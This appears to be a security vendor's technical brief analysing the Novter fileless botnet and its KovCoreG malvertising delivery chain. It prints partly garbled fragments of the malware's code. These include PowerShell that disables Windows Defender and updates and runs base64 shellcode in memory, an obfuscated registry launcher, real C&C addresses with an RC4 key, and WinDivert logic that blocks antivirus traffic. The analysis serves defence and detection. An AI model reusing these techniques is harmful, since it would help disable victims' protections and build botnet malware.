

# New Fileless Botnet Novter Distributed by KovCoreG Malvertising Campaign

Technical Brief

## Novter's attack chain

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Novter communicates with its command-and-control (C&C) servers and downloads multiple JavaScript modules for different purposes. We have identified three Novter modules, which include:

- 1. A module that shows a technical support scam page on the victim's machine
- A module that abuses <u>WinDivert</u> (Windows packet divert, a tool that enables network packets sent to and from Windows network stacks to be captured, modified, or dropped) to block the communication from processes like those from antivirus (AV) software
- A module (which we dubbed as "Nodster") that is written with <u>NodeJS</u> and <u>socket.io</u> for proxying network traffic. We consider it's a module to build proxy network for supporting their new AD clickfraud operation.

KovCoreG's attacks are socially engineered malvertisments that lure unwitting users into downloading a software package needed to update their supposedly out-of-date Adobe Flash application. However, it instead drops a malicious HTML application (HTA) file, named *Player{timestamp}.hta*. When the victim executes the HTA file, it will load additional scripts from a remote server (communication is RC4-encrypted) and run a PowerShell script that appears to take inspiration from the open-source Invoke-PSInject project.

The PowerShell script, in turn, will disable Windows Defender and Windows Update processes. It runs a shellcode to bypass User Account Control (UAC) via the <u>CMSTPLUA</u> COM interface (related to connection management). The PowerShell script is also embedded with Novter, which will be executed <u>filelessly</u> via the PowerShell Reflective <u>Injection</u> technique.

```
$null=Remove-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" "WindowsDefender" -ea 0
116
         $au = "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\WindowsUpdate\AU"
118
               -mkdir $au
         Snull=Set-ItemProperty Sau "NoAutoUpdate" 0
         $null=Set-ItemProperty $au "AUOptions" 2
$null=Set-ItemProperty $au "ScheduledInstallDay" 0
         $null=Set-ItemProperty $au "ScheduledInstallTime" 3
124
125
         $DeliveryOptimization = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DeliveryOptimization"
         force-mkdir $DeliveryOptimization
126
127
         $null=Set-ItemProperty $DeliveryOptimization "DODownloadMode" 0
128
129
         Invoke-Payload -PEBytes $PEBytes32
130
131
         else
         [System.Environment]::SetEnvironmentVariable("deadbeef","$env:deadbeef","User")
         [byte]]]$sc=[Convert]::FromBase64String('VYvsgew4AwAAV8ZFoHTGRaFtxkWi3cZFo27GRaQHxkWlwMZFpnXGRadOxkWot8ZFqWrGRarlxkWrdMZFrAnGRa2Vx
134
135
         sc_in_meory = $VirtualAlloc.Invoke(), $sc.Length, 0x00001000, 0x40)
$null = $memory = runo(0, 0x40)
$null = $memory from arr.Invoke($sc_in_memory,$sc, $sc.Length)
$PayloadDelegate = Get-DelegateType ()([intptr])
136
137
138
         $Payload = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($sc in memory, $PayloadDelegate)
139
         $result = $Payload.Invoke()
141
         if($result -eq 0)
142
143
          .
Start-Sleep 120
         .
[System.Environment]::SetEnvironmentVariable("deadbeef","","Process")
[System.Environment]::SetEnvironmentVariable("deadbeef","","User")
145
147
         Invoke-Payload -PEBytes $PEBytes32
148
```

Figure 1. Code snippet of the PowerShell script for disabling Windows Defender- and Windows Updaterelated procedures, bypassing UAC, and launching Novter

# Analysis of the Novter malware

Novter is a backdoor in the form of an executable file. Immediately after its execution, it performs the following anti-debugging and anti-analysis checks:

- Searching for blacklisted processes and modules by comparing the CRC32 algorithms of their names with a list of hardcoded CRC32s
- Checking if the number of cores is too small
- Checking if the process is being debugged
- Checking if the Sleep function is being manipulated

If it finds any of aforementioned information, it is then reported to the C&C server. Note that it uses different sets of C&C servers for different purposes. One set, for instance, is solely used for anti-analysis reporting. After the affected machine's environment is double-checked and reported, the malware goes to sleep for a long time.

```
if ( enum processes(&pCheckedProcesses) ______
   http post report((int)"p=p");
 if ( enum modules(&pCheckedModules) )
    http_post_report((int)"p=m");
  if ( enum_processor_cores() )
    http_post_report((int)"p=c");
 if ( IsDebuggerPresent() )
   http_post_report((int)"p=d");
 if ( get_tickcount() )
  ł
    http_post_report((int)"p=s");
    v2 = (void *)Size;
  }
v1 = lstrlenA(a1);
http post((int)off 4162FC[0], a1, v1, 0, 0);
return Sleep(0xFFFFFFFFF);
```

Figure 2. Snippets of code showing how anti-analysis information is reported to the C&C server (top), and how the malware is configured to sleep for a certain duration

The malware then performs the following routines:

- 1. Disable processes related to Windows Defender and Windows updates
- 2. Set persistence through the following:
  - Dropping a randomly named .HTA file to *%APPDATA%\Roaming*, where the routine body contains a hardcoded string with .HTA file contents and *%s* markers, which are replaced with randomly generated strings at runtime. This .HTA file contains JavaScript code, which reads and executes a PowerShell payload from registry.
  - Creating three randomly named registry subkeys in HKLM or HKCU (based on account privileges) SOFTAWARE\<random string>. The first two registry subkeys have hardcoded templates in the malware body, and the %s strings are randomized in a way similarly to how it was done in the .HTA file.

The code stored in both registry subkeys are actually PowerShell scripts. The first script reads and executes the second script, which is obfuscated by abusing EmpireProject's <u>Invoke-PSInject</u> open-source project. The third subkey contains the hex-encoded binary of the dropper, as shown in Figure 5.

PAHVVRe='u';zwbAAQyJyn=['eFw','n','jDBK'][1];_5PAkezR= BcHWP0 fR2+PAHVVRe+zwbAAQyJyn;zMQvgo[ 5PAkezR](
'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell
.exe'+' '+'-'+'en'+'\x63'+'\x20'+
'JAB7AFIAYAB1AEcAfQA9ACcASABLAEMAVQAnADsAJAB7AHIAYABFAEcAUA
BgAEEAVABAJwApACgAJAB7AEUAWABQAHIAZQBzAGAAcwBgAEkATwBuAH
OAKQA=', [184,203-203,206] [1], [158,4242/21,188,1017-1017] [3
1);

Figure 3. Code snippet showing the PowerShell script stored in the registry subkeys

Classes	*	Name	Туре	Data
Clients DRKUG512NI		(Default) ) fHPqbx7WKY ) Fu4bLjjmMH ) NrdpF6Tjxu	REG_SZ REG_SZ REG BINARY	(value not set) PAHVVRe='u';zwbAAQyJyn=['eFw','n','jDBK'][1];_5 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00
Google     Hnc	-			-
	•			

Computer\HKEY\_CURRENT\_USER\Software\DRKUG5I2NI

Figure 4. Code snippet showing how the malware is linked in the Run registry key

- Creating a randomly named link to the .HTA file in the Run registry key, which executes PowerShell code stored in the first registry subkey. This executes the PowerShell code stored in the second registry subkey, which then loads the binary file stored in the third registry subkey. Infection from the next reboot of the system thus becomes fileless.
- Start a thread that parses an embedded configuration in JSON format and starts regular heartbeat communication — beacons that informs attackers that the infected machine is alive/working — by sending empty POST requests with the "accl" servers specified in the configuration file

```
"accl": [
               "http://95.70.244.209:80/",
                "https://13.228.224.121:443/",
                "http://54.241.31.99:80/",
                "https://103.31.4.11:443/"
                "https://141.8.225.31:443/"
                "http://199.59.242.151:80/"
            1,
            "acll": [
               "37.252.8.85:443",
                "37.252.10.66:443",
                "37.1.221.156:443",
                "5.61.42.103:443"
            1.
            "version": 1.0
        ł
strcpy((char *)&rc4_password, "seiC4aimaish9zah8kah");
v6 = lstrlenA(&rc4_password);
rc4_init((int)&rc4_password, v6, (int)&v7);
rc4_encrypt_decrypt((int)v5, v3 / 2, (int)&v7);
```

Figure 5. Code snippet showing the "accl" servers specified in the configuration file (top), and how the configuration file is retrieved (bottom)

- Start a thread that queries the "acll" server (shown in Figure 7) to get the dynamic configuration file. The request interval is six hours; the configuration file is encrypted by RC4 with a hardcoded password.
- 5. Start a thread that constantly queries the C&C server, and execute a command, if requested, via the ShellExecute function.
- 6. Start communication with one of "accl" servers specified in the dynamic configuration file. Communication is RC4-encrypted with a hardcoded password. However, this password is different from the thread where the configuration file is updated.

The backdoor commands that Novter supports are:

- killall Terminate a process and delete a file (for all modules)
- kill Terminate a process and delete a file (for a specific module)
- stop Terminate process without deleting its file (for a specific module)
- resume Start a process (for a specific module)
- modules Download and execute an additional module
- update Download a new version and install the update
- update\_interval Set an interval between two consecutive update attempts

#### Novter's notable modules

Below is a list and our analysis of Novter's most important modules:

- 'call\_02' module The module will use a <u>Invoke-PSInject</u> script to load a binary embedded inside it. The loaded binary will connect to a remote server to retrieve data and pop up a full-screen window that will display the technical support scam page to the victim.
- 'block\_av\_01' module This module is a JavaScript code and has the following functions:
  - 1) Extract from resources, debase64, and drop the WinDivert DLL and drivers
  - 2) Run a shellcode embedded in a PowerShell script via some kind of Invoke-Shellcode

The shellcode will iterate through all running processes and attempt to match the ROR-13 hashes of their names to its own list of hardcoded ROR13 hashes. If it finds matches, process IDs of the detected processes are used in the WinDivert filter. This will make the WinDivert filter look like: *((processId=560 or processId=676 or processId=724 or processId=848 or processId=888) and (remotePort==80 or remotePort==443))*. As a result, certain process communication via HTTP and HTTPS are diverted.

:00000D7D	push	0	
:00000D7F	push	4 ; https://github.com/basil00/Divert/blob/master	/include/windivert.h
:00000D7F			
:00000D7F			
:00000D7F		; /*	
:00000D7F		; * WinDivert flags.	
:00000D7F		; */	
:00000D7F		; #define WINDIVERT FLAG SNIFF 0x000	1
:00000D7F		; #define WINDIVERT FLAG DROP 0x000	2
:00000D7F		; #define WINDIVERT FLAG RECV ONLY 0x000	4
:00000D7F		; #define WINDIVERT FLAG READ ONLY WINDI	VERT FLAG RECV ONLY
:00000D7F		; #define WINDIVERT FLAG SEND ONLY 0x000	8
:00000D7F		; #define WINDIVERT FLAG WRITE ONLY WINDI	VERT FLAG SEND ONLY
:00000D7F		; #define WINDIVERT FLAG NO INSTALL 0x0010	
:00000D7F			
:00000D7F		; WINDIVERT FLAG RECV ONLY	
:00000D7F		; his flags forces the handle into "receive onl	y" mode which effectiv
:00000D81	push	0FFFFFC18h	-
:00000D86	push	3 ; WINDIVERT_LAYER_SOCKET Socket operation even	ts.
:00000D88	lea	eax, [ebp-33ECh] ; processId=0 or ((processId=560 or processId=	676 or processId=724 o
:00000D8E	push	eax	
:00000D8F	call	dword ptr [ebp-1A8h] ; WinDivertOpen	

#### hashes = [

0x0E5E2FF8,0x9456EE93,0x4F6C1E7C,0xCA96F83E,0x94820E9A,0xE18E38BE, 0x025D8FFD,0x6DA52B70,0x0E2FE875,0x8A37FF14,0x16567F18,0x436F80BA, 0x066DA6BA,0x477EBE7C,0x069A88B9,0x9560FEFA,0xD526158F,0x4C39A704, 0x67BE4AD8,0x0715D6D9,0x8261F0DC,0x025D8FFD,0xD3282F3F,0x0715D6D9, 0x8261F0DC,0x025D8FFD,0xD3282F3F,0x92267E77,0xB862CC25,0xBE66CC65, 0x94639746,0x87E009E2,0x92788E78,0x92281E78,0x42820877,0xFCB28A45, 0x829A6858,0x5557607E,0x13301894,0xD49D6EDD,0x053C0EF7,0x907CB4EC, 0x029AA855,0xC2728218,0x579E2E5C,0x429825DB,0xC3440894,0x54666638, 0x963B3EFA,0x926CB7AA,0x4F9A7040,0x1255068F,0x6173067E,0xE162B67F, 0xC67A8E3C ]

Figure 6. Snapshot of code showing the important parameters ofWinDivertOpen (top) and the list of hardcoded ROR13 hashes (bottom)

According to the <u>documentation</u>, the WINDIVERT\_FLAG\_RECV\_ONLY flag "forces the handle into receive only mode which effectively disables WinDivertSend(). This means that it is possible to block/capture packets or events but not inject them." This creates a communication blocker for processes with certain names. Figure 8 (bottom) shows the complete list of hardcoded ROR13 hashes. After trying some known process names, we found that some of these process names belong to anti-malware solutions.

- 'all\_socks\_05' (Nodster) module A JavaScript code we named "Nodster" that has the following functions:
  - If the OS is Windows 7, it will download and install the update KB3033929 (Availability of SHA-2 Code Signing Support for Windows 7 and Windows Server 2008 R2). <u>WinDivert</u> documentation shows that it requires this update for it to be installed in the system.
  - 2) Try to modify the affected system's TTL value, TCP Window Size, and maximum transmission unit (MTU) settings, but it needs to have administrator privileges to do so. The following commands/registry values are run/set: netsh interface tcp set heuristics ws=disabled

This disables Windows Scaling heuristics. For Windows 7 and Vista, the TCP autotuning feature is enabled by default. This feature does not always operate effectively and it may result in some websites communicating with significantly reduced speed.

TCP window size is set to Tcp1323Opts 0x02, as the lower erased bit indicates that using window scaling is not encouraged. MTU is set in the registry to 1440 (smaller than standard Ethernet datagram 1500), likely to prevent fragmentation.

- 3) Download and install Node.JS, a JavaScript runtime environment
- 4) Extract to a separate folder a script that contains a base64-encoded resource, which is a ZIP archive (contents shown in Figure 9).

🐌 node_modules	File folder	
🌋 app	JScript Script File	1 KB
🌋 constants	JScript Script File	1 KB
💷 divergent	Application	2 KB
💷 mdivergent	Application	2 KB
🌋 socks4a	JScript Script File	1 KB
NinDivert.dll	Application extension	11 KB
WinDivert32.sys	System file	24 KB
WinDivert64.sys	System file	25 KB

- 5) Execute *divergent* or *mdivergent* based on OS version, a random value, and a fixed probability threshold. Both files can be found as standalone executables or shellcodes. In case of shellcodes, they are base64-encoded and embedded in some kind of Invoke-Shellcode-style PowerShell scripts. The shellcode uses the WinDivert library and drivers to manipulate packets in the following ways:
  - Divert only outbound TCP packets with *tcp.Syn and tcp.Ack* != 1, and ignore local loopback packets
  - Check TCP options; if a combination of certain bits in the TCP header is set (e.g., CWR - Congestion Window Reduced, URG - urgent pointer, etc.), the window size in the TCP packet is also manipulated; the IP Type of Service flag Reliability is also set to 1

These settings likely ensure the packets' high reliability, which is needed for a SOCKS proxy communication.

000012F7 000012FB 00001303 00001305 0000130A 0000130D 0000130D 00001311 00001314	<pre>imul eax, ed cmp eax, 10 jl short mov eax, 00 mov ecx, [0 mov [ecx+00 mov eax, [0</pre>	loc_133A <mark>FFFFh</mark> ebp+pTCPHeader] Eh], ax ; set windowSize to 0xffff ebp+pTCPHeader] ord ptr [eax+0Eh]
0000146C 0000146F 00001473 00001474 00001479 0000147C 0000147C 0000147F 00001488 00001485	<pre>push eax call duplicateLOtoH movzx eax, ax add eax, 4 push eax call duplicateLOtoH mov ecx, [ebp+ppIp</pre>	<pre>[eax+2] ; ip type of service II  ; set Reliability to 1; packet requests high reliability  ; http://www.rhyshaden.com/ipdgram.htm II</pre>

Figure 8. Snapshots of code showing the WinDivert library and drivers are abused to manipulate network packets

- 6) Execute node.js with app.js and base64-encoded configuration address as parameters
- 7) Check the configuration address (via app.js and getip) to obtain the SOCKS proxy IP address, then backconnect it to the C&C server. The C&C server instructs the victim machine to visit specified/requested websites. app.js uses an implementation of <u>Socket.io</u>, a real-time protocol for web application based on <u>WebSocket</u> or HTTP(S) protocol. The following events were listened to and processed via the Socket.io connection: *connect, firstmessage, closed, message, disconnect, error* and *connect\_error*.

To start a new proxy connection, the attacker's server will send the *firstmessage*, which typically comprises the following: length (126), separator(:), some flags specifying the type of the message followed by the message type itself (firstmessage), and the last part, which is a JSON object with data, shown in Figure 11.

The notable aspect in the JSON object is the connection ID, shown in Figure 9. This message immediately follows another message with the actual data. The message has the length, followed by two base64-encoded blobs of data separated by the *:* separator.

```
126:452-["firstmessage", {"id":"1558969393134_12907729","d": {"h":{
    placeholder":true,"num":0},"d":{" placeholder":true,"num":1}}]
```

{

}

```
"id": "1558969393134_12907729",
"d": {
    "h": {
        "_placeholder": true,
        "num": 0
     },
    "d": {
        "_placeholder": true,
        "num": 1
     }
}
```

Figure 9. Code snippet showing the firstmessage (top) and the connection ID (bottom)

04 01 01 bb 00 00 00 01 00 61 64 73 65 72 76 65 72 63 68 65 63 6b 2e 6e 65 74 00 eb de

16 03 01 02 00 01 00 01 fc 03 03 5c eb fc 31 c6 53 66 a1 14 ac d7 11 e1 cd 20 e8 8c 8c b7 7c ec 7a 79 95 b9 2e a3 a3 f7 9e f4 98 20 67 72 e3 1c 1b cd 20 e8 a3 ec f8 a7 c0 d4 5b 6d e2 3f c2 d9 c7 10 cb ca d1 9c cc a9 b7 92 03 3a 00 38 cc 14 cc 13 cc 15 c0 14 c0 0a 00 39 00 38 00 35 c0 12 c0 08 00 16 00 13 00 0a c0 2f c0 2b c0 13 c0 09 00 a2 00 9e 00 33 00 32 00 9c 00 2f c0 11 c0 07 00 05 00 04 00 ff 01 00 01 7b 00 00 00 16 00 14 00 00 11 61 64 73 65 72 76 65 72 63 68 65 63 6b 2e 6e 65 74 00 23 00 c0 fc 75 51 8e 0a 62 12 92 bc a8 6b 85 23 4a f0 82 40 50 00 3f 57 20 d4 98 85 12 f9 e1 c1 e2 1a 74 53 ba 9e 68 4e 3b 73 be 39 97 04 84 e7 3f f5 ae 41 6d 2b d9 13 14 65 6d 38 e9 95 88 c7 2b fd 60 54 0b ef f8 12 c8 12 13 58 60 ea 66 a7 ff 35 c2 7f ca bd 31 17 2d b1 29 4a f7 c9 1c 47 01 6d 83 82 fe 5c 69 e6 80 e7 ec 86 9c 56 0e 7d 37 4f b4 7e 0d f1 25 40 13 d1 97 6c e3 42 f2 ce ac d1 9c 2c 33 4c 50 19 0f 48 0e 76 19 a7 94 64 40 c5 e6 f7 db bd 38 3b ba b3 40 bc 88 3b d3 83 79 9c 76 48 8c 11 9d b9 17 d4 41 f7 ab f4 b2 8e d5 7c 81 62 0d af a6 04 91 97 e1 42 8e 3e 23 61 b5 48 c2 00 0d 00 22 00 20 06 01 06 02 06 03 05 01 05 02 05 03 04 01 04 02 04 03 03 01 03 02 03 03 02 01 02 02 02 03 01 01 33 74 00 00 00 0b 00 02 01 00 00 00 00 00 00 00 00

Figure 10. Code snippet of the JSON object's connection ID parameter (top), which, when decoded, reveals the connection the malware creates (center) and receives (bottom)

The first part of the code, once decoded, reveals Part 1 decodes to how the malware uses the <u>socks4a</u> [17] protocol, with these parameters/values:

- 0x04 = version
- 0x01 = establish TCP stream connection
- 0x1bb = 443 port,
- 61 64 73 ... 6e 65 74 = adservercheck.net = domain name

The second part, once decoded, is the TLS client hello message, which has parameters/values that include the following:

- 0x16 = TLS record type
- 0x03 0x01 = TLS version (major/minor)
- 0x02 0x00 = Length of data in the record (excluding the header itself)
- 0x01 = CLIENT\_HELLO
- 0x00 0x01 0xfc = length
- 0x03 0x03 = SSL/TLS version

Similarly, a closed message (Figure 13) is where the connection ID is an important parameter passed in the JSON object.

### 44:42["closed", {"id":"1558969286728 68666561"}]

Figure 11. Snippet of the closed message containing the connection ID

As with a proxy's typical routine, Nodster will create a new TCP connection to connect back to the server, receive the network request, and then send back the response. A "message" event can send data over an established connection by indicating the existing ID of a connection until it receives a "close" event. Nodster can handle multiple TCP proxy connections at the same time.

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